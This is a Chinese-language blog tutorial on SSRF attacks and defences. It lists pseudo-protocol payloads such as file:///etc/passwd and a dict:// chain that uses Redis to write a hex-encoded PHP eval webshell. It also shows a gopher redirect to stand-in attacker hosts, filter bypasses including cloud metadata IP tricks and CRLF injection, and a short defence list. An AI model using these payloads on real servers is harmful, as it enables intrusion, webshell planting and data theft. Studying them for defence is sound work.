首页 > 其他分享 >SSRF漏洞攻击与防御

SSRF漏洞攻击与防御

时间:2024-07-04 23:20:35浏览次数:13  
标签:www http SSRF 0.1 gopher 漏洞 dict 防御 com

基本原理

SSRF是指存在漏洞的服务器存在对外发起请求的功能,而请求源可由攻击者控制并且服务器本身没有做合法验证.SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

SSRF中的伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
gopher:// 分布式文档传递服务,可使用gopherus生成payload

攻击方式Playload

文件读取

file:///etc/passwd
ftp://username:password@hostname/filepath

命令读取

dict

我们要爆破出对应的端口和口令,然后后面就是类似于redis的未授权的东西了

url=dict://192.168.124.153:6380/config:set:dir:/var/www/html

利用16进制写入shell
GET /ssrf/ssrf.php?url=dict://192.168.124.153:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e"

gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header(‘Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest’);?>

绕过

限制域名

http基本身份认证

如:http://[email protected]@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

短网址绕过

比如百度短地址https://dwz.cn/

进制转换

127.0.0.1
八进制:0177.0.0.1。
十六进制:0x7f.0.0.1。
十进制:2130706433.

利用特殊域名

原理是DNS解析。**xip.io**可以指向任意域名,即  
127.0.0.1.xip.io,可解析为127.0.0.1  
(xip.io 现在好像用不了了,可以找找其他的)

用[::]绕过

可以利用[::]来绕过localhost  
http://169.254.169.254>>http://[::169.254.169.254]

句号使用

127。0。0。1 >>> 127.0.0.1

CRLF 编码绕过

example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a

防御

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

标签:www,http,SSRF,0.1,gopher,漏洞,dict,防御,com
From: https://www.cnblogs.com/Ho1dF0rward/p/18284880

相关文章

  • 详解Web应用安全系列(7)使用具有已知漏洞的组件
    使用具有已知漏洞的组件,这种安全漏洞普遍存在,基于组件开发的模式使得多数开发团队根本不了解其应用或API中使用的组件,更谈不上及时更新这些组件了。下面就分别以.NET和Java各分享一个案例。.NET案例:XmlSerializer反序列化漏洞案例描述在.NET框架中,XmlSerializer类是一个常......
  • CentOS7修复OpenSSH漏洞升级到OpenSSH 9.8 RPM一键更新包
    OpenSSH是SSH(SecureShell)协议的开源实现,它支持在两个主机之间提供安全的加密通信,广泛用于Linux等系统,通常用于安全远程登录、远程文件传输和其它网络服务。2024年7月1日,OpenSSHServer中存在的一个远程代码执行漏洞(CVE-2024-6387,又被称为regreSSHion)细节被公开,该漏洞影响基于gli......
  • ssrf结合python反序列化
    存储session对象时当然不能直接存储对象需要转换成有规律的字符串这一过程就涉及到了序列化将对象转换成字符串这一过程称之为序列化PYTHON反序列化漏洞本文中就涉及到了pickle这一序列化模块导致的反序列化漏洞在反序列化结束时会触发__reduce__魔术方法类似于php中的__......
  • (三)openEuler欧拉系统CVE-2024-1086漏洞复验及修复
    目录前言一、openEuler内核漏洞复验1.1、漏洞信息​编辑1.2、影响版本1.3、验证过程二、openEuler内核漏洞修复三、openEuler修复验证四、总结前言近日,Linux内核被曝存在提取权限漏洞(漏洞编号CVE-2024-1086),攻击者利用该漏洞可在本地进行提权操作,最高可获取目......
  • 【漏洞复现】金斗云 HKMP智慧商业软件 任意用户创建漏洞
    0x01产品简介金斗云智慧商业软件是一款功能强大、易于使用的智慧管理系统,通过智能化的管理工具,帮助企业实现高效经营、优化流程、降低成本,并提升客户体验。无论是珠宝门店、4S店还是其他零售、服务行业,金斗云都能提供量身定制的解决方案,助力企业实现数字化转型和智能化升......
  • Web安全基础学习:Python反序列化漏洞之pickle反序列化
    理论基础序列化与反序列化序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。序列化是指将对象或数据结构转换为字节流的过程。在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定......
  • 区块链技术如何有效防御DDOS攻击?揭秘前沿安全策略!
    在当今数字化时代,DDOS(分布式拒绝服务)攻击已成为网络安全的重大威胁之一。这些攻击通过控制大量计算机或网络设备,向目标服务器发送海量请求,导致服务器过载、响应缓慢甚至完全崩溃。然而,区块链技术作为一种新兴的安全解决方案,正逐步展现出在DDOS防御中的巨大潜力。区块链技术的......
  • CCProxy栈溢出漏洞
    CCProxy栈溢出漏洞一.漏洞发现CCProxy是一款代理服务器软件,不仅支持常见的HTTP和SOCKETS代理,而且支持FTP和Telnet协议。我们这次的漏洞就是在Telnet服务当中的。首先,使用ping指令进行大量输入,判断是否会出现栈溢出的情况,如果出现说明存在栈溢出的漏洞,并且可以进行利用。使用k......
  • [漏洞复现]Geoserver表达式注入致远程代码执行漏洞(CVE-2024-36401)
    觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。看到长亭昨晚发送的漏洞风险提示,我这边快马加鞭看看能不能赶上热度,payload就放在星球了,欢迎各位师傅来白嫖,看上眼的话可以留下试试。漏洞描述GeoServer是一个开源服务器,用于共享、处......
  • 瑞友天翼应用虚拟化系统SQL注入漏洞
    最近网上公开了一些瑞友天翼应用虚拟化系统的SQL注入漏洞,经过挖掘发现,还存在一些后台SQL注入漏洞。重点关注传入参数可控并且拼接到SQL语句中的代码。​getappicon​首先检测了登录状态,然后将通过GET获取到的参数id直接拼接到SQL语句中。GET/hmrao.php?s=/Admi......